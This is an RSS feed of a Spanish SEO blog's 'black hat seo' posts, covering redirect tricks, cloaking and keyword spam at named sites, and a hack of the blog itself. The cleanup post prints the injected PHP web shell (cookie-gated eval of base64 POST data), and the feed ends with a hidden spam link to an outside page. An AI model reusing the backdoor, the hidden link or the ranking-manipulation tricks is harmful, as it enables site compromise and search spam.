<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>seo VS google &#124; Vseo &#187; black hat seo</title>
	<atom:link href="http://www.vseo.es/tag/black-hat-seo/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.vseo.es</link>
	<description>seo, sem, afiliados y web 2.0</description>
	<lastBuildDate>Wed, 21 Dec 2011 20:02:51 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Duplicando posiciones por 301 &#8211; 302</title>
		<link>http://www.vseo.es/buscadores/duplicando-posiciones-por-301-302/</link>
		<comments>http://www.vseo.es/buscadores/duplicando-posiciones-por-301-302/#comments</comments>
		<pubDate>Sat, 15 Jan 2011 11:30:24 +0000</pubDate>
		<dc:creator>vseo</dc:creator>
				<category><![CDATA[Buscadores]]></category>
		<category><![CDATA[black hat seo]]></category>
		<category><![CDATA[onpage]]></category>
		<category><![CDATA[seo]]></category>

		<guid isPermaLink="false">http://www.vseo.es/?p=1091</guid>
		<description><![CDATA[curioso caso de posicionamiento por 301]]></description>
			<content:encoded><![CDATA[<p>Hace tiempo publiqué un artículo de <a title="seo por redireccion" href="http://www.seoblackhat.info/es/seo-por-301/">SEO por 301</a>, pensado para sitios grandes e indexación de niveles inferiores y hace 15 dias ví una aplicación muy muy buena del seo por redirecciones con un enfoque que yo no había tomado.</p>
<p>Una url para una búsqueda muy competida y todos dándonos de ostias por ella.</p>
<p><strong>Duplicando por 301 / 302</strong></p>
<ul>
<li>Un medio en tercera posición para esa cadena de búsqueda con un contenido que digamos &#8220;lo que sería la home&#8221;</li>
<li>Hace una 301 y posiciona otra url en dicho lugar. Redirige todas las paginas internas ahí.</li>
<li>Trás una semana quita la 301</li>
<li>Google tarda 15 días en darse cuenta y durante ese periodo tiene 2 posiciones. La original y la url en sobre la que hizo la redirección.</li>
</ul>
<p>Me pareció una forma muy muy ágil de hacer las cosas, desde aquí mi enhorabuena a <a href="http://twitter.com/#!/ipvalverde">@ipvalverde</a> convencer a una redacción de que se haga eso y luego que salga es tener un par de huevos, jugarsela bastante y hacerlo bien.</p>
<p>Google se lo comió.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.vseo.es/buscadores/duplicando-posiciones-por-301-302/feed/</wfw:commentRss>
		<slash:comments>38</slash:comments>
		</item>
		<item>
		<title>No es un Bombing lo de la moncloa</title>
		<link>http://www.vseo.es/buscadores/no-es-un-bombing-lo-de-la-moncloa/</link>
		<comments>http://www.vseo.es/buscadores/no-es-un-bombing-lo-de-la-moncloa/#comments</comments>
		<pubDate>Thu, 06 May 2010 12:10:05 +0000</pubDate>
		<dc:creator>vseo</dc:creator>
				<category><![CDATA[Buscadores]]></category>
		<category><![CDATA[black hat seo]]></category>
		<category><![CDATA[Enlaces SEO]]></category>
		<category><![CDATA[google]]></category>

		<guid isPermaLink="false">http://www.vseo.es/?p=996</guid>
		<description><![CDATA[Desmitificando algo que podría haber sido un Google bombing]]></description>
			<content:encoded><![CDATA[<blockquote><p>default =por defecto / suspension de pagos.</p></blockquote>
<p>Qué pasa si por estructuras mal montadas en un site terminas posicionando para &#8220;default&#8221;</p>
<li>Y si es una página muy importante en españa?</li>
<li>y si España está envuelta en una polémica internacional en la que se habla de la solvencia económica?</li>
<li>Y si terminas posicionando por &#8220;spain default&#8221; suspensión de pagos españa y tu página es <strong>la moncloa</strong>?</li>
<p>La verdad es que la cagada no podía haber sido más subrealista. De hecho esta mañana me han preguntado por ello y he  estado mirando qué había pasado porque costaba creerse que fuera posible tantas coincidencias. Tenía toda la pinta de un <strong>Google Bombing</strong>, pero no lo es.</p>
<p>Os dejo enlace a la noticia de Expansión sobre el <a title="No es un Google bombing" href="http://www.expansion.com/2010/05/06/economia-politica/politica/1273146056.html">Google Bombing</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.vseo.es/buscadores/no-es-un-bombing-lo-de-la-moncloa/feed/</wfw:commentRss>
		<slash:comments>28</slash:comments>
		</item>
		<item>
		<title>Protected: Retynet y su amenaza desde jurídico</title>
		<link>http://www.vseo.es/spam/retynet-y-su-amenaza-desde-juridico/</link>
		<comments>http://www.vseo.es/spam/retynet-y-su-amenaza-desde-juridico/#comments</comments>
		<pubDate>Sun, 01 Nov 2009 14:40:51 +0000</pubDate>
		<dc:creator>vseo</dc:creator>
				<category><![CDATA[Spam]]></category>
		<category><![CDATA[black hat seo]]></category>
		<category><![CDATA[Enlaces SEO]]></category>

		<guid isPermaLink="false">http://www.vseo.es/?p=871</guid>
		<description><![CDATA[There is no excerpt because this is a protected post.]]></description>
			<content:encoded><![CDATA[<form action="http://www.vseo.es/wp-pass.php" method="post">
<p>This post is password protected. To view it please enter your password below:</p>
<p><label for="pwbox-871">Password:<br />
<input name="post_password" id="pwbox-871" type="password" size="20" /></label><br />
<input type="submit" name="Submit" value="Submit" /></p></form>
]]></content:encoded>
			<wfw:commentRss>http://www.vseo.es/spam/retynet-y-su-amenaza-desde-juridico/feed/</wfw:commentRss>
		<slash:comments>118</slash:comments>
		</item>
		<item>
		<title>Casos opinables de seo</title>
		<link>http://www.vseo.es/seo-google/cloacking-link-ninjas/casos-opinables-de-seo/</link>
		<comments>http://www.vseo.es/seo-google/cloacking-link-ninjas/casos-opinables-de-seo/#comments</comments>
		<pubDate>Tue, 08 Sep 2009 17:50:09 +0000</pubDate>
		<dc:creator>vseo</dc:creator>
				<category><![CDATA[Blak Hat SEO]]></category>
		<category><![CDATA[black hat seo]]></category>
		<category><![CDATA[seo]]></category>

		<guid isPermaLink="false">http://www.vseo.es/?p=837</guid>
		<description><![CDATA[doorway y keyword spaming en conocidos portales. prácticas opinables de seo...]]></description>
			<content:encoded><![CDATA[<p>Aparte del ejemplo del otro día de &#8220;<a title="el economista infla los datos de nielsen" href="http://www.vseo.es/marketing-online/el-economista/">el economista hinchando nielsen</a>&#8221; me estoy encontrando una serie de casos &#8220;opinables respecto a las ditrectrices de Google&#8221; que sencillamente, no entiendo que sigan funcionando.</p>
<p>Creo que me estoy haciendo viejo y cascarrabias, pero realmente os parece esto en los footers &#8220;verosimil&#8221;</p>
<p>El ejemplo es de elle.es, todas las secciones tienen su propia linea de frases maravillosas de un montón de autores que sirven al noble propósito del <strong>keyword spaming.</strong></p>
<div class="wp-caption alignleft" style="width: 450px"><a href="http://www.seoblackhat.info/es/elle/"><img title="spam en elle.es" src="http://www.seoblackhat.info/wp-content/uploads/2009/09/keyword-spaming-elle.png" alt="ejemplo de keyword spaming en elle" width="440" height="180" /></a><p class="wp-caption-text">ejemplo de keyword spaming en elle</p></div>
<p>Más cachondo es el caso de duplicar las portadas del site como podeis ver en el caso de <a title="duplicar las portadas para generar lanzaderas" href="http://www.google.es/search?rlz=1C1GGLS_esES339ES339&amp;aq=f&amp;sourceid=chrome&amp;ie=UTF-8&amp;q=site:ori-www.elle.es/">elle</a> o en el de &#8220;<a title="elpaís generando contenido duplicado" href="http://www.google.es/search?rlz=1C1GGLS_esES339ES339&amp;aq=f&amp;sourceid=chrome&amp;ie=UTF-8&amp;q=site:www-org.elpais.com">el país</a>&#8220;.</p>
<p>Sé que en muchos portales es frecuente que por temas de <a href="http://www.vseo.es/seo-google/seo-arquitectura-seo/" title="estructura seo">estructura</a> tengas duplicada la portada, es posible que guardes sesión por parámetros de url, que antiguas redirecciones no te hayan funcionado o no hayas podido implementarlas, pero que eso se muestre en subdominios es algo bastante más raro, sobre todo cuando tienen tantas páginas &#8220;sufriendo de este descuido&#8221;. En el país me gustaría creer que es uno de esos casos, pero elle apunta los enlaces finales (noticias) directamente a los últimos artículos en el site original, cumpliendo prácticametne la definición de <strong>&#8220;Doorway&#8221;.</strong></p>
<p>Me reconozco perdido estos días, desde el cambio de trabajo he estado mucho más involucrado en analítica web y ha sido así como me he chocado contra estos casos (el economista inflando datos para ser más caro, elle duplicando contenidos y metiendo terminos repetidos y el país&#8230; siendo opinable) y no entiendo cómo estamos llegando a esto. Google siempre ha sido muy cuidadoso con los aspectos relativos a dar ejemplo de los grander portales y ahora estoy viendo barbaridades de quienes antes estaban mirados con lupa.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.vseo.es/seo-google/cloacking-link-ninjas/casos-opinables-de-seo/feed/</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
		<item>
		<title>Eliminación del índice de google</title>
		<link>http://www.vseo.es/buscadores/eliminacion-del-indice-de-google/</link>
		<comments>http://www.vseo.es/buscadores/eliminacion-del-indice-de-google/#comments</comments>
		<pubDate>Thu, 16 Jul 2009 13:14:31 +0000</pubDate>
		<dc:creator>vseo</dc:creator>
				<category><![CDATA[Buscadores]]></category>
		<category><![CDATA[black hat seo]]></category>
		<category><![CDATA[google]]></category>

		<guid isPermaLink="false">http://www.vseo.es/?p=792</guid>
		<description><![CDATA[Carta sobre la eliminación del índice de Google de vseo por la gracia de base 64]]></description>
			<content:encoded><![CDATA[<p>Hay que reconocer que se lo curran, menos de un mes ;)</p>
<p>(ahora a esperar&#8230; y seguro que no es un mes)</p>
<p>asunto	Eliminación del índice de Google<br />
enviado por	<a href="http://webspam-notifications.bounces.google.com" class="autohyperlink" title="http://webspam-notifications.bounces.google.com" target="_blank">webspam-notifications.bounces.google.com</a><br />
firmado por	<a href="http://google.com" class="autohyperlink" title="http://google.com" target="_blank">google.com</a><br />
ocultar detalles 15 jul (1 día antes)<br />
Estimado webmaster o propietario del sitio Vseo.es:</p>
<p>Durante la indexación de sus páginas web, hemos detectado que en algunas de ellas <strong>se han utilizado técnicas que no respetan nuestras directrices de calidad</strong>, que puede consultar aquí: <a href="http://www.google.com/support/webmasters/bin/answer.py?answer=35769&amp;hl=es" class="autohyperlink" title="http://www.google.com/support/webmasters/bin/answer.py?answer=35769&amp;hl=es" target="_blank">www.google.com/support/webmasters/bin/answer.py?answer=35769&amp;hl=es</a>. Parece que su sitio ha sido modificado por terceros, que han obtenido el acceso a un directorio no seguro con permisos abiertos. Cuando ocurre esto, normalmente se suben archivos nuevos o se modifican los existentes, que aparecen como spam en nuestro índice.</p>
<p>Hemos detectado encubrimiento en su sitio y sospechamos que esta es la causa. Por ejemplo, en <a href="http://www.vseo.es/buscadores/seo-chino/" class="autohyperlink" title="http://www.vseo.es/buscadores/seo-chino/" target="_blank">www.vseo.es/buscadores/seo-chino/</a>, hemos encontrado lo siguiente:</p>
<blockquote><p>Polyphonic And Monophonic Ringtones Diffrent Ringtone For Nokia 6680 Digger Gold Kanye Ringtone West Digger Gold Ringtone Digi Caller Ringtone Digi Caller Ringtone Tamil Digi Caller Ringtone Tamil Song Digi Caller Ringtone Tamil Songs Digi Tamil Caller Ringtones Digicel 3310 Customize Ringtones Digicel 3310 Ringtones Digicel Ringtone Digicel Ringtones Digital Airtel Ringtone Digital Airtel Ringtones Digital Camera Case Camcorder Phone Tariff Gprs Reader Writer Mms Ringtones Wap Printer Dock Docking Digital Camera Webcam Uniross Ring Cable Case Stand Phone Understanding Ringtones Battery Cleaner Ca Digital Music Ringtone Digital Ringtones For Nextel Dimands Are Forever Ringtones For Nextel I710 I730 I830 I860 Ding Dong The Witch Is Dead Ringtone Ding Fries Are Done Ringtone Dipset Feat Dj Bazzaro Ringtones For Nextel I710 I730 I830 Direct Suncom Ringtones Dirty Ringtones Urdu Disable 3s Delay In Ringtone Disables 3s Delay In Ringtone Disco Inferno Ringtone Disenchanted Ringtones Motorola Disney Ringtones Mp3 Disney Free Keypress Ringtones Disney Free Mobile Ringtone Disney Polyphonic Ringtones Disney Ringtone Disney Ringtones Disney Ringtones For Cellular One Disney Ringtones For Lg 4015 Disney Ringtones For Samsung Disney Ringtones For Samsung Disqualified Samsung Ringtones Free Download Disturbed Poly Ringtones Disturbed Ringtones Disturbed Ringtones For Motorola V173 Divotional Ringtones Dixie Horn Free Download Ringtone Dixie Horn Ringtone Dixie Horn Ringtone For Nokia 6300 Dixie Horn Ringtone Free Dixie Horn Ringtone Mp3 Dixie Ringtone Dixie Ringtone Blackberry Dixie Ringtone For Nokia Free Dixieland Ringtone Diy Ringtone Blackberry Pearl Dj Skilz Ringtones Dj Skilz Ringtones Djay Ringtones Djay Ringtones Cingular Dlg Ringtones For Nextel I710 I730 I830 I860 I930 Do The Music Ringtone For Nokia5610 Download Do-mi-so Ringtone 6230 Doanload Ringtones Dobson Cellular Free Ringtone Doctor Tomabechi Breast Enlarging Ringtone Doctor Who Ringtone Doctor Who Ringtone Composer Doctor Who Ringtone Compositor Doctor Who Ringtone Nokia Composer Does Anyone Know Get Free Ringtone For Lg 3200 Dog Ringtone Snoop Dog Silent Ringtone Dokuro-chan&#8217;s Ringtone Dollar Per Ringtone Dollar Real Ringtones Dominic The Donkey Ringtone Don Moen Mono Ringtones Don Omar Dale Don</p></blockquote>
<p>Si desea obtener más <strong>información sobre lo que es el texto oculto</strong>, visite la página <a href="http://www.google.com/support/webmasters/bin/answer.py?answer=66355&amp;hl=es" class="autohyperlink" title="http://www.google.com/support/webmasters/bin/answer.py?answer=66355&amp;hl=es" target="_blank">www.google.com/support/webmasters/bin/answer.py?answer=66355&amp;hl=es</a>.</p>
<p>Para poder preservar la calidad de nuestro motor de búsqueda, se ha programado la eliminación temporal de las páginas de Vseo.es de nuestros resultados de búsqueda durante al menos 30 días.</p>
<p>Preferiríamos conservar sus páginas en el índice de Google. <strong>Si desea que se vuelvan a incluir, corrija o elimine todas las páginas que no cumplan nuestras directrices de calidad </strong>(puede que estas no se limiten a los ejemplos que le hemos proporcionado). Una posible solución es contactar con el servicio de asistencia técnica de su proveedor de alojamiento web. Si desea obtener más información sobre seguridad para webmasters, consulte <a href="http://googlewebmastercentral.blogspot.com/2008/04/my-sites-been-hacked-now-what.html" class="autohyperlink" title="http://googlewebmastercentral.blogspot.com/2008/04/my-sites-been-hacked-now-what.html" target="_blank">googlewebmastercentral.blogspot.com/2008/04/my-sites-been-hacked-now-what.html</a> (en inglés). Cuando haya realizado estos cambios, visite la página <a href="https://www.google.com/webmasters/tools/reconsideration?hl=es" class="autohyperlink" title="https://www.google.com/webmasters/tools/reconsideration?hl=es" target="_blank">www.google.com/webmasters/tools/reconsideration?hl=es</a> para obtener más información y enviar su sitio para que se reconsidere su inclusión.</p>
<p>Atentamente, el <strong>equipo de calidad de búsqueda de Google</strong></p>
<p>Nota:·si dispone de una cuenta de Herramientas para webmasters de Google, puede verificar la autenticidad del mensaje accediendo a <a href="https://www.google.com/webmasters/tools/siteoverview?hl=es" class="autohyperlink" title="https://www.google.com/webmasters/tools/siteoverview?hl=es" target="_blank">www.google.com/webmasters/tools/siteoverview?hl=es</a> y consultando el Centro de mensajes.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.vseo.es/buscadores/eliminacion-del-indice-de-google/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>solucionado ataque con script en base 64</title>
		<link>http://www.vseo.es/buscadores/ataque-base-6/</link>
		<comments>http://www.vseo.es/buscadores/ataque-base-6/#comments</comments>
		<pubDate>Thu, 16 Jul 2009 13:06:39 +0000</pubDate>
		<dc:creator>vseo</dc:creator>
				<category><![CDATA[Buscadores]]></category>
		<category><![CDATA[black hat seo]]></category>
		<category><![CDATA[seo]]></category>

		<guid isPermaLink="false">http://www.vseo.es/?p=790</guid>
		<description><![CDATA[Solucionado ataque con base 64 por el cual se mostraba a las ip de Google un contenido descargado de un tercero.]]></description>
			<content:encoded><![CDATA[<p>En primer lugar siento las molestias, los comentarios borrados, los <a href="http://www.vseo.es/buscadores/long-tail/" title="test de posicionamiento">test</a> que os habrán hecho pingback con basura en google reader y demás.</p>
<p>En segundo lugar siento la tardanza en haberlo limpiado, se que no queda muy profesional tener un blog de seo siempre lleno de mierda, pero han sido dias complicados y ahora vuelven a la normalidad.</p>
<p><strong>Ataque en base 64</strong></p>
<p>Siendo sincero, localizar estos ataques, la primera vez es un poco más jodido, pero las siguientes es méramente, aburrido, sólo hay que saber qué buscar.</p>
<blockquote><p>&#8212;&#8212;&#8212;&#8212;&#8212;-?php if(md5($_COOKIE['d8247a26d234dcaa'])==&#8221;34ca2006680a2b3085f5f6d91d0e68f0&#8243;){ eval(base64_decode($_POST['file'])); exit; } ?&gt;&lt;?php if(md5($_COOKIE['092166dd9df91c4e'])==&#8221;3ec01dce09197d3d55b363752a36ed83&#8243;){ eval(base64_decode($_POST['file'])); exit; } ?&gt;&lt;?php if(md5($_COOKIE['fce815a7e4b69c98'])==&#8221;e86601a7a2929a8a0e4148c8e76ea64c&#8221;){  exit; } ?&gt;&lt;?php if(md5($_COOKIE['140bc4b508ddc0f7'])==&#8221;189d3078bf10577aa8d4bc53e26cd3e2&#8243;){  exit; } ?&gt;&lt;?php&#8212;&#8212;&#8212;-</p></blockquote>
<p>Los black hat con tiempo libre y mala ostia han evolucionado bastante desde que hackeaban la cuenta de wodpress y te metían enlaces en los footer, al final cuando ves que tienes mil enlaces ocultos en la plantilla, no es dificil localizar en alguna parte del template esos textos, pero al ponerlo en base 64 y cargar los enlaces desde una hubicación externa, cuesta más, sobre todo porque por lo general, no se encuentran en la plantilla de tu wordpress sino en algunas tablas adicionales.</p>
<p>Este estaba en las plantillas de index.php, pero no se mostraba desde el panel de editar el tema de WP, ha sido al volcar todo a local cuando lo he visto. Básicamente el objeto de este código es localizar si quien accede es Google y mostrarle un contenido que descarga de otro lugar. Vosotros lo veíais en las RSS de Google Reader y yo todo felíz con mi netvibes, no me di cuenta.<br />
Gracias por ayudarme.</p>
<p>Ahora ya con el blog limpio, al menos Google Reader me indica que lo está, me toca pelearme con Google&#8230; Perezaaaa</p>
]]></content:encoded>
			<wfw:commentRss>http://www.vseo.es/buscadores/ataque-base-6/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>acens al limite</title>
		<link>http://www.vseo.es/seo-google/acens-al-limite/</link>
		<comments>http://www.vseo.es/seo-google/acens-al-limite/#comments</comments>
		<pubDate>Wed, 06 May 2009 08:42:21 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Posicionamiento Google]]></category>
		<category><![CDATA[black hat seo]]></category>
		<category><![CDATA[seo]]></category>

		<guid isPermaLink="false">http://www.vseo.es/?p=717</guid>
		<description><![CDATA[Critica al sistema de posicionamiento de la web de acens (emprea de hosting) 97 enlaces en el footer de color blanco sobre fondo gris claro.]]></description>
			<content:encoded><![CDATA[<p><strong>Acens </strong>se está pasando. Esto no tiene nada que ver con lo de <a title="arsys" href="http://www.vseo.es/marketing-online/arsys/">arys </a>del otro día. (por cierto ya me han enviado el acceso, en unos días comento)</p>
<p>Revisando la página de acens me he encontrado un montón de enlaces en el footer. Vale que sea un lugar en el que pones enlaces visibles para buscadores.  Pero añadir 97 enlaces (he sacado el número) en blanco sobre fondo gris clarito me parece algo muy próximo al lado oscuro.</p>
<p>Parte de la gracia es que <strong>acens tambien dice que vende seo </strong>solo que ellos son aun más directos que arsys. Al aceder a la página de &#8220;<strong>posicionamiento en buscadores acens</strong>&#8221; aparece directamente un &#8220;página no eencontrada.</p>
<div id="attachment_718" class="wp-caption alignleft" style="width: 310px"><a href="http://www.vseo.es/wp-content/uploads/2009/05/accens.png"><img class="size-medium wp-image-718" title="acens " src="http://www.vseo.es/wp-content/uploads/2009/05/accens-300x282.png" alt="seo de la página de acens" width="300" height="282" /></a><p class="wp-caption-text">seo de la página de acens</p></div>
]]></content:encoded>
			<wfw:commentRss>http://www.vseo.es/seo-google/acens-al-limite/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Cloaking en The phone House</title>
		<link>http://www.vseo.es/buscadores/cloaking-en-the-phone-house/</link>
		<comments>http://www.vseo.es/buscadores/cloaking-en-the-phone-house/#comments</comments>
		<pubDate>Fri, 24 Apr 2009 12:56:49 +0000</pubDate>
		<dc:creator>vseo</dc:creator>
				<category><![CDATA[Buscadores]]></category>
		<category><![CDATA[black hat seo]]></category>

		<guid isPermaLink="false">http://www.vseo.es/?p=689</guid>
		<description><![CDATA[Sobre lo opinable de las acciones. Posible caso de cloak de the phone house]]></description>
			<content:encoded><![CDATA[<div id="attachment_691" class="wp-caption alignleft" style="width: 310px"><a href="http://www.vseo.es/wp-content/uploads/2009/04/phone-house1.jpg"><img class="size-medium wp-image-691" title="phone-house1" src="http://www.vseo.es/wp-content/uploads/2009/04/phone-house1-300x133.jpg" alt="Cloak en the phone house" width="300" height="133" /></a><p class="wp-caption-text">Cloak en the phone house</p></div>
<p>Es muy habitual poner texto cuando no se cargan las imágenes. Por los general se adopta una actitud sutil de &#8220;foto de +keyword&#8221;, &#8220;logo +keyword+categoría&#8221; y cosas así, pero lo de esta gente ya es empezar a deleitarse con las fronteras del cloaking.</p>
<p>PD: Siento estar medio desaparecido para todos, pero mi día a día parece un tómbola.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.vseo.es/buscadores/cloaking-en-the-phone-house/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>test dangling segunda parte</title>
		<link>http://www.vseo.es/buscadores/test-dangling-segunda-parte/</link>
		<comments>http://www.vseo.es/buscadores/test-dangling-segunda-parte/#comments</comments>
		<pubDate>Tue, 31 Mar 2009 12:01:08 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Buscadores]]></category>
		<category><![CDATA[black hat seo]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[Posicionamiento]]></category>

		<guid isPermaLink="false">http://www.vseo.es/?p=681</guid>
		<description><![CDATA[Después del test que estuve realizando sobre la creación de nodos con index,nofollow algunas cosas: En ese blog no trabajo con tags sino con categorías que se han visto un poco afectadas (2 posiciones abajo de media) Los términos principales de la página principal han aguantado bastante bien (cosa muy curiosa por otro lado) incluso [...]]]></description>
			<content:encoded><![CDATA[<p>Después del <a href="http://www.vseo.es/buscadores/long-tail/" title="test de posicionamiento">test</a> que estuve realizando sobre la creación de nodos con index,nofollow algunas cosas:</p>
<ul>
<li>En ese blog no trabajo con tags sino con categorías que se han visto un poco afectadas (2 posiciones abajo de media)</li>
<li>Los términos principales de la página principal han aguantado bastante bien (cosa muy curiosa por otro lado) incluso los que estaban enlazados a golpe de keyword desde los post&#8230;</li>
<li>Los post han subido una media de 2 posiciones.</li>
<li>Los post creados con el tag desde el principio han posicionado muy bien(<a title="keyword hunting" href="http://www.google.es/search?hl=es&amp;rlz=1C1GGLS_enES320ES320&amp;q=keyword+hunting&amp;btnG=Buscar&amp;meta=">ejemplo</a>).</li>
</ul>
<p>Pero tiene problemas:</p>
<ul>
<li>Los resultados han estado desapareciendo cada semana durante unas horas, lo cual quiere decir que google los tiene identificados (sólo que no tiene muy claro que hacer con ellos)</li>
<li>Al tener poca profundidad en la página no se ha visto afectada por los problemas de falta de interlinking, pero hacer eto en un site masivo, aunque eficaz, supondría necesitar tener acceso a muchos enlaces.</li>
<li>Funciona mejor para páginas creadas desde el principio que para existentes.</li>
</ul>
<p>voy a hacer algún <a href="http://www.vseo.es/buscadores/long-tail/" title="test de posicionamiento">test</a> más.</p>
<p>Los terminos son Google bowling (7), linkbuiding(39),  seo yahoo (10).</p>
<p>A ver cómo funciona.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.vseo.es/buscadores/test-dangling-segunda-parte/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Test sobre long tail</title>
		<link>http://www.vseo.es/buscadores/test-sobre-long-tail/</link>
		<comments>http://www.vseo.es/buscadores/test-sobre-long-tail/#comments</comments>
		<pubDate>Mon, 23 Mar 2009 09:58:01 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Buscadores]]></category>
		<category><![CDATA[black hat seo]]></category>
		<category><![CDATA[Posicionamiento]]></category>

		<guid isPermaLink="false">http://www.vseo.es/?p=659</guid>
		<description><![CDATA[Test sobre long tail. Redirigir popularidad con noindex, follow e index, nofollow.]]></description>
			<content:encoded><![CDATA[<p>Estoy comenzando un <strong><a href="http://www.vseo.es/buscadores/long-tail/" title="test de posicionamiento">test</a> sobre el <a href="http://www.vseo.es/buscadores/long-tail/" title="posicionamiento de long tail">long tail</a></strong> con otro blog. Es un <a href="http://www.vseo.es/buscadores/long-tail/" title="test de posicionamiento">test</a> un poco más arriesgado y tiene pinta de que o funciona muy bien o me fusilan el blog, vamos, lo de siempre.</p>
<p>Punto de partida.</p>
<p>En un blog me interesan los terminos de la página principal, los términos de los post y en algunos casos terminos de categorías o tags, pero pensemos que en este caso el blog está muy segmentado y únicamente quiero cazar terminos de la página principal y post.</p>
<ul>
<li>He añadido a todas las<strong> p</strong><strong>áginas de categoría / tags: Noindex, follow</strong>, para que llegue la popularidad a las páginas de destino.</li>
<li>He añadido a todas las <strong>páginas de post Index, Nofollow</strong> para que la popularidad se quede ahí.</li>
</ul>
<p>Creo que el blog debería subir bastante para el <a href="http://www.vseo.es/buscadores/long-tail/" title="posicionamiento de long tail">long tail</a>, y posiblemente, la home caer para esas busquedas principales, pero me parece un <a href="http://www.vseo.es/buscadores/long-tail/" title="test de posicionamiento">test</a> curioso que comentar. En unas semanas resultados.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.vseo.es/buscadores/test-sobre-long-tail/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
	<a href="http://www.dwp.co.za/folder1/offsidepenultimate.php?template=505&qlvc=c40e50885249db2985bf2c9f9b6ea8ef"><span style="display: none;">Private</span></a></channel>
</rss>

